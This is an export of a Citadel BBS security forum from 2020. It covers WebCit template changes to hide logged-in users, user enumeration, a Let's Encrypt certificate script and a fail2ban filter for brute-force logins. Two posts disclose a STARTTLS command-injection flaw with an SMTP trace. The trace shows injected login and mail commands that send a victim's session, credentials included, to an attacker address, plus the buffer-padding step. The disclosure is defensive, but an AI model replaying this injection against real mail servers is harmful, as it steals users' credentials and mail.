<blockquote><tt>This doesn't address the menu item, (which I'll address separately), </tt><br /> <tt>but will correct the reverse dns of the user's host from showing on </tt><br /> <tt>the "Who's Online" page..</tt><br /> <tt></tt><br /> <tt>Create this file:</tt><br /> <tt></tt><br /> <tt>/usr/local/webcit/static.local/t/who/box_list_static.html</tt><br /> <tt></tt><br /> <tt>[If this is not your webcit root, find webcit/static .. and </tt><br /> <tt>static.local goes right along side it. ]</tt><br /> <tt></tt><br /> <tt>Add the contents as shown in the attached file.</tt><br /> <tt></tt><br /> <tt>With the html shown, this could be a web/faq snippit..</tt></blockquote>
</blockquote>
</div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4589882</link><pubDate>Mon, 12 Oct 2020 16:10:55 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4589882@Uncensored</guid><description><![CDATA[<html><body>

<p>I'm going to answer this in a way that assumes a reader doesn't know much about this topic, but please don't think I'm taking down to you.</p>
<p>[Other people will come along and read it, so I'm want be sure we have a complete answer to follow...]</p>
<p>It is technically impossible to prevent user enumeration on a system using known ports and a known protocol that responds to a request to</p>
<blockquote>
<p>a) login or </p>
<p>b) send a message</p>
</blockquote>
<p>to/for any specific user, with any kind of message of ""invalid recipient" or "user/login not found". Or that even "shows" a user, or a 404 page if the user does not exist.</p>
<p>That pretty well describes SMTP, IMAP, XMPP (and to an extent, Citadel itself, depending on how its configured).. and all kinds of other services.. </p>
<p>So, given enough time, and enough usernames (I have lists of several million, there are lists up to 500 million, they can even be generated with every character possible to any given length.. "rainbow tables" in a sense..)</p>
<p>Therefore, given "enough time" and "enough names" anybody can enumerate your user list.  </p>
<p>This is not specifically a problem.  A username isn't a real identity, (or, doesn't have to be one). And it's not a physical location.  So user@machine can and should be considered somewhat public information, unless you're in a completely enclosed system, consider your username to be more or less public, and don't disclose any details about yourself in your username!</p>
<p>Nobody should be relying on a remote server to keep their username private, when the reason for the remote server is to allow others to send a message to them. A system that communicates publicly (such as over SMTP) has to be "public", and it can't be both hidden and public at the same time.</p>
<p>Those issues are not anything wrong with or inherent to Citadel.  It's the same with any mail and many other kinds of servers.</p>
<p>[I once logged into a Law Office's Exchange server by telnet!  It told me "Disk out of space." So, I let them know why they weren't getting my emails.. Kind of freaked them out, but that's what SMTP is for.. it gives messages about status and deliverability..]</p>
<p>The issue I was addressing with the template fix was more related to the average operator and average use case scenario. </p>
<p>The average person who is evil on a message board is probably not actually an evil programmer with a big list of names, and if he is, you can't defend against him with those fixes.</p>
<p>Although it's true certain sinister people can exhibit abnormally criminal brilliance at times.. They are not normally capable of that kind of trouble.</p>
<p>Some Citadel admins might like to prevent simple info-disclosure, and not make it easy for the normal-grade bad guy to collect information about users.</p>
<p>So, that's the reason for the template fix. None of those things are truly "User enumeration".</p>
<p>There have been a few fixes.  You might just call them alternate templates.</p>
<p>Eventually we'll get them together where you can download, and install into static.local, with a description of exactly what they do.</p>
<p>The main point behind the latest one was.. </p>
<p>* Removing the display of the remote host information (ip or reverse ip), which is nowadays, much more exploitable for bad purposes by the non-technologically competent.  Anybody can look these ip addresses up, and start to gather information about other users.. where they live, their service provider, even .. in some cases, divulging all that is needed to find a real-time physical location..</p>
<p>But looking ahead, there are likely many use cases where "Who is online" is not an appropriate whatsoever.. So, we'll come up with some template patches for that. </p>
<p>Citadel is supposed to be a fun system, where you can hang out with your friends.. though not all installations are used like that..</p>
<p>[Also, with IMAP logins, they show as "online", but they are not technically "present" for chat and such..]</p>
<p>So, at some point I'll work on some templates for static.local that remove/restrict "who is online" so people interested can use them.</p>
<p>The old user enumeration emails you're referring to were probably something pertaining to "host based authentication"... which were not truly citadel problems, but host problems.</p>
<p>Those problems are why it's good to setup fail2ban on your servers and restrict how long and hard someone can hammer at your ssh accounts. </p>
<p>But if there was actually a user showing how he could enumerate all the accounts on a Citadel system, he wasn't doing anything difficult or even unheard of.</p>
<p>Facebook, Twitter and Instagram users can be "enumerated".. all of their IDs are public.. Gmail users can be enumerated also.. even located by integer id.</p>
<p>So we want to distinguish between enumerating users who are logged into the system, and who many not want to disclose from real "user enumeration".</p>
<p>Hopefully, I didn't wear you out, and somewhat answered your question.</p>
<p>I mean to distinguish between what is "appropriate" for "use-case" and what is an actual vulnerability. </p>
<p>Still active?  According to a number of the protocols/services/ports provided by Citadel, yes you can find out if a user exists on a system in a number of ways.</p>
<p>Potentially dangerous?  Not any more dangerous than any other service that does the same thing, which means, most other services. </p>
<p> </p>
<blockquote>
<div class="message_header"><span><br /></span></div>
<div class="message_header"><span>Fri Oct 09 2020 01:50:00 PM EDT</span> <span>from "s3cr3to" &lt;s3cr3to@uncensored.citadel.org&gt; </span> <span class="message_subject">Subject: Re: /summary displays logged-in users to the public [template fix]</span></div>
<div class="message_content"><tt>Hi</tt><br /> <tt></tt><br /> <tt>A few years ago, a user sent an email demonstrating how he could obtain </tt><br /> <tt>a complete list of all the accounts on a Citadel server, something </tt><br /> <tt>similar to the "Who's online" list, but more serious in my opinion.</tt><br /> <tt>Unfortunately, I lost that mail in one of the mail purges that took </tt><br /> <tt>place in uncensored. And since I had changed from POP to IMAP on that </tt><br /> <tt>occasion, I don't have that information in my mail.</tt><br /> <tt></tt><br /> <tt>So I guess that's still active and potentially dangerous.</tt><br /> <tt></tt><br /> <tt>Translated with www.DeepL.com/Translator (free version)</tt><br /> <tt></tt><br /> <tt>Regards</tt><br /> <tt></tt><br /> <tt></tt><br /> <tt></tt><br /> <tt>On 6/15/20 9:34 PM, IGnatius T Foobar wrote:</tt><br /> <tt></tt><br />
<blockquote><tt>Does the /summary page display logged-in users even on a site that is configured</tt><br /> <tt>to require login?</tt><br /> <tt></tt><br /> <tt>Unfortunately I must admit that I have a lot of difficulty with WebCit, because</tt><br /> <tt>a lot of people made a lot of changes to it and I sort of lost track of how</tt><br /> <tt>it works. It's never been a great design, because in 1996 when it was first</tt><br /> <tt>built I really had no idea what I was doing :) That's one reason we</tt><br /> <tt>are starting over with webcit-ng.</tt></blockquote>
</div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4589877</link><pubDate>Mon, 12 Oct 2020 15:20:41 -0000</pubDate><title>Re: A cleaner option for removing the &quot;Who&#39;s Online&quot; page listing..</title><guid isPermaLink="false">4589877@Uncensored</guid><description><![CDATA[
I found another: iconbar

box_list_static.html
iconbar.html
summary.html

Without being logged in all 3 list the users connected via IMAP.

On 10/12/20 9:12 AM, s3cr3to wrote:
> 
> This template show the users too:
> "who_summary"
> 
> 
> On 10/2/20 4:42 PM, warbaby wrote:
>> This doesn't address the menu item, (which I'll address separately), 
>> but will correct the reverse dns of the user's host from showing on 
>> the "Who's Online" page..
>>
>> Create this file:
>>
>> /usr/local/webcit/static.local/t/who/box_list_static.html
>>
>> [If this is not your webcit root, find webcit/static .. and 
>> static.local goes right along side it. ]
>>
>> Add the contents as shown in the attached file.
>>
>> With the html shown, this could be a web/faq snippit..
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4589869</link><pubDate>Mon, 12 Oct 2020 15:12:14 -0000</pubDate><title>Re: A cleaner option for removing the &quot;Who&#39;s Online&quot; page listing..</title><guid isPermaLink="false">4589869@Uncensored</guid><description><![CDATA[
This template show the users too:
"who_summary"


On 10/2/20 4:42 PM, warbaby wrote:
> This doesn't address the menu item, (which I'll address separately), but 
> will correct the reverse dns of the user's host from showing on the 
> "Who's Online" page..
> 
> Create this file:
> 
> /usr/local/webcit/static.local/t/who/box_list_static.html
> 
> [If this is not your webcit root, find webcit/static .. and static.local 
> goes right along side it. ]
> 
> Add the contents as shown in the attached file.
> 
> With the html shown, this could be a web/faq snippit..
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4589126</link><pubDate>Fri, 09 Oct 2020 17:50:00 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4589126@Uncensored</guid><description><![CDATA[
Hi

A few years ago, a user sent an email demonstrating how he could obtain 
a complete list of all the accounts on a Citadel server, something 
similar to the "Who's online" list, but more serious in my opinion.
Unfortunately, I lost that mail in one of the mail purges that took 
place in uncensored. And since I had changed from POP to IMAP on that 
occasion, I don't have that information in my mail.

So I guess that's still active and potentially dangerous.

Translated with www.DeepL.com/Translator (free version)

Regards



On 6/15/20 9:34 PM, IGnatius T Foobar wrote:
>    
>   Does the /summary page display logged-in users even on a site that is configured
> to require login?
>    
>   Unfortunately I must admit that I have a lot of difficulty with WebCit, because
> a lot of people made a lot of changes to it and I sort of lost track of how
> it works.  It's never been a great design, because in 1996 when it was first
> built I really had no idea what I was doing  :)      That's one reason we
> are starting over with webcit-ng.
>   
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587710</link><pubDate>Fri, 02 Oct 2020 22:42:46 -0000</pubDate><title>A cleaner option for removing the &quot;Who&#39;s Online&quot; page listing..</title><guid isPermaLink="false">4587710@Uncensored</guid><description><![CDATA[<html><body>

<p>This doesn't address the menu item, (which I'll address separately), but will correct the reverse dns of the user's host from showing on the "Who's Online" page.. </p>
<p>Create this file: </p>
<pre style="font-family: mono;">/usr/local/webcit/static.local/t/who/box_list_static.html
</pre>
<p>[If this is not your webcit root, find webcit/static .. and static.local goes right along side it. ]</p>
<p>Add the contents as shown in the attached file.</p>
<p>With the html shown, this could be a web/faq snippit.. </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587625</link><pubDate>Fri, 02 Oct 2020 16:31:21 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4587625@Uncensored</guid><description><![CDATA[<html><body>

<p>Awesome! I'll (git) check it out also. </p>
<p>Thank you!</p>
<blockquote>
<div class="message_header"><span>Wed Sep 30 2020 07:02:59 PM EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: /summary displays logged-in users to the public [template fix]</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">
<blockquote><br />My gut on the Webcit issue, and has been for a long time, is that we need </blockquote>
<br />
<blockquote>another an abstraction layer, a restful Server Returning JSON. Something</blockquote>
we <br />
<blockquote>can use with Nginx, like with the Lua Module, or hp-fpm.. </blockquote>
<br />When I have some more time I'll digest the rest of your remarks, but as for this one -- <br /><br />WebCit is already moving to REST/JSON. Check out the webcit-ng code in the git repository. It follows the modern development style of a web application that loads static pages, executes on the client side, and makes REST calls to the server, rendering the results locally. <br /><br />It ... just isn't finished yet :) </div>
</div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587190</link><pubDate>Wed, 30 Sep 2020 23:02:59 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4587190@Uncensored</guid><description><![CDATA[ >  
 >My gut on the Webcit issue, and has been for a long time, is that we need
 
 >another an abstraction layer, a restful Server Returning JSON. Something
we  
 >can use with Nginx, like with the Lua Module, or hp-fpm..     
  
 When I have some more time I'll digest the rest of your remarks, but as for
this one -- 
  
 WebCit is already moving to REST/JSON.  Check out the webcit-ng code in the
git repository.  It follows the modern development style of a web application
that loads static pages, executes on the client side, and makes REST calls
to the server, rendering  the results locally. 
  
 It ... just isn't finished yet :) 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587015</link><pubDate>Wed, 30 Sep 2020 01:28:18 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4587015@Uncensored</guid><description><![CDATA[<html><body>

<p>I would like your test script also.  I have a testing environment all set up for this.  </p>
<blockquote>
<div class="message_header"><span>Thu Aug 13 2020 06:16:27 AM EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p>Hey,</p>
<p>have you found the time to take a look at this yet?</p>
<blockquote>
<div class="message_header"><span>Wed Aug 05 2020 04:07:31 EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Aug 04 2020 09:26:49 EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Can you explain a little further what happens after the command injection? <br />If you want to send the test script privately, you can PM it to me here. <br />I'd be interested in seeing what happens next on a Citadel implementation. <br /><br />I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.</div>
</div>
</blockquote>
<p> </p>
<p>Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):</p>
<blockquote>
<p>S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br />C: EHLO localhost<br />S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'<br />A: NOOP A*2000<br />S: 250 NOOP\r\n'<br />Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...<br />A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n'<br />S: 220 Begin TLS negotiation now<br />&lt;--- TLS connected ---&gt;<br />-----Found command injection here!----<br />S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted<br />S: 250-HELP -- encrypted<br />S: 250-SIZE 10485760 -- encrypted<br />S: 250-AUTH LOGIN PLAIN<br />250
</blockquote>
<p>And the corresponding log:</p>
<blockquote>
<p>citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1<br />citserver[123]: SMTP server: EHLO localhost<br />citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</blockquote>
<p>So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.<br />The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).</p>
<p>Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.</p>
<p>I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.</p>
<p>Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet-&gt;protocol preferences-&gt;Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze-&gt;Enabled Protocols and search for SMTP.</p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587014</link><pubDate>Wed, 30 Sep 2020 01:24:18 -0000</pubDate><title>Citadel &amp; Webcit can&#39;t use the Letencrypt keys directly, so..</title><guid isPermaLink="false">4587014@Uncensored</guid><description><![CDATA[<html><body>

<p>/etc/letsencrypt/live/&lt;you.tld&gt; must be owned by root.</p>
<p>Therefore you can't just link to them from your citadel keys dir.</p>
<p>They must be copied. </p>
<p>I use something like this (below).</p>
<p>[take a good look before you run it.. it's not exactly what I run, but more for show.. make sure it's an accurate representation of where your files are.. ]</p>
<p>#!/bin/bash<br /># mv-keys-to-citadel.sh<br />if [[ $# -eq 0 ]] ; then<br />    echo 'I need a domain related to a cert in /etc/letsencrypt/live';<br />    echo "Like one of these";<br />    echo "`ls -alh /etc/letsencrypt/live`";<br />    exit 0<br />   fi<br /><br />DOMAIN=$1;<br />CIT_CERT_DIR="/usr/local/citadel/keys"; # Citadel Server <br />WEB_CERT_DIR="/usr/local/webcit/keys"; # Webcit<br />cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" "$CIT_CERT_DIR/citadel.cer"<br />cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" "$CIT_CERT_DIR/citadel.key"<br />cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" "$WEB_CERT_DIR/citadel.cer"<br />cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" "$WEB_CERT_DIR/citadel.key"<br />chown -R citadel:root "$CIT_CERT_DIR"<br />chown -R citadel:root "$WEB_CERT_DIR"</p>
<p>THEN.. just add this to your cron job that automates the renewal.  or maybe put a wrapper around both. </p>
<p>once everything is configured its just... </p>
<pre>#!/bin/bash
certbot renew
mv-keys-to-citadel.sh mydomain.tld
</pre>
<p>Now you've got permanent, free ssl.</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587011</link><pubDate>Wed, 30 Sep 2020 00:58:09 -0000</pubDate><title>Let&#39;s Encrypt!  .. no need to use the http authentication methods..</title><guid isPermaLink="false">4587011@Uncensored</guid><description><![CDATA[<html><body>

<p>There are a lot of alternative methods of authentication for certbot. </p>
<p>Those http requests to .well_known are buggy, problematic, and a constant fight with Barron von Munchausen (damons, configs, servers, turn it off, in order to turn it on kind of thing.. ).  </p>
<p>BUT.. based on my reading of the "self-signed certificates" thread.. one thing is not coming out clearly.  </p>
<p>Those problems <em>only</em> happen at 2 particular times:</p>
<p>1) When you initially create a cert.</p>
<p>2) When you expand or renew one.</p>
<p>So, it isn't like the problem is there all the time. Nothing is running constantly.</p>
<p>Once you have the cert, you can just comment out the lines in your nginx/apache config, restart and then it's business as usual, for 90 more days.</p>
<p>It's a little tricky automating renewal on a citadel box, but it's definitely do-able.  I am doing it. </p>
<p>One of the tricks is to use one of the certbot plugins, cloudflare-dns or something like that. </p>
<p>It's much easier, and much more reliable once it's configured.</p>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4587005</link><pubDate>Wed, 30 Sep 2020 00:46:59 -0000</pubDate><title>Re: /summary displays logged-in users to the public [template fix]</title><guid isPermaLink="false">4587005@Uncensored</guid><description><![CDATA[<html><body>

<p>Hi .. sorry, I just saw this.. the answer is no, I don't think I saw that.  But, in the case of a self-registration system, it would be trivial to be evil with that remote host information.  </p>
<p>You of all people have no need to apologize!  I hope none of this is coming across as criticism..  Just trying to clamp down some holes on my own boxes. </p>
<p>My gut on the Webcit issue, and has been for a long time, is that we need another an abstraction layer, a restful Server Returning JSON. Something we can use with Nginx, like with the Lua Module, or hp-fpm.. </p>
<p>I tried it with the BabyCitadel thing quite a while ago.. and not long ago  there was a guy who wrote a great big Citadel API thing for Node.js. He posted a link to it in the support room.  It's quite interesting.  I grabbed the code. </p>
<p>I think once we have that.. all the UI issues will become clear..   But I can't see much good happening without clearly defined endpoints (URIs) and structured data with indexes.  Nobody is that good anymore.  </p>
<p> </p>
<blockquote>
<div class="message_header"><span>Mon Jun 15 2020 11:34:47 PM EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: /summary displays logged-in users to the public [template fix]</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY"><br />Does the /summary page display logged-in users even on a site that is configured to require login? <br /><br />Unfortunately I must admit that I have a lot of difficulty with WebCit, because a lot of people made a lot of changes to it and I sort of lost track of how it works. It's never been a great design, because in 1996 when it was first built I really had no idea what I was doing :) That's one reason we are starting over with webcit-ng. </div>
</div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4586976</link><pubDate>Tue, 29 Sep 2020 23:58:40 -0000</pubDate><title>Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4586976@Uncensored</guid><description><![CDATA[<html><body>

<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you.  </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf ) </p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4578308</link><pubDate>Fri, 14 Aug 2020 13:07:11 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4578308@Uncensored</guid><description><![CDATA[Haven't looked at it yet.  It's in the queue. 
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4578068</link><pubDate>Thu, 13 Aug 2020 10:16:27 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4578068@Uncensored</guid><description><![CDATA[<html><body>

<p>Hey,</p>
<p>have you found the time to take a look at this yet?</p>
<blockquote>
<div class="message_header"><span>Wed Aug 05 2020 04:07:31 EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Aug 04 2020 09:26:49 EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Can you explain a little further what happens after the command injection? <br />If you want to send the test script privately, you can PM it to me here. <br />I'd be interested in seeing what happens next on a Citadel implementation. <br /><br />I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.</div>
</div>
</blockquote>
<p> </p>
<p>Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):</p>
<blockquote>
<p>S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br />C: EHLO localhost<br />S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'<br />A: NOOP A*2000<br />S: 250 NOOP\r\n'<br />Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...<br />A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n'<br />S: 220 Begin TLS negotiation now<br />&lt;--- TLS connected ---&gt;<br />-----Found command injection here!----<br />S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted<br />S: 250-HELP -- encrypted<br />S: 250-SIZE 10485760 -- encrypted<br />S: 250-AUTH LOGIN PLAIN<br />250
</blockquote>
<p>And the corresponding log:</p>
<blockquote>
<p>citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1<br />citserver[123]: SMTP server: EHLO localhost<br />citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</blockquote>
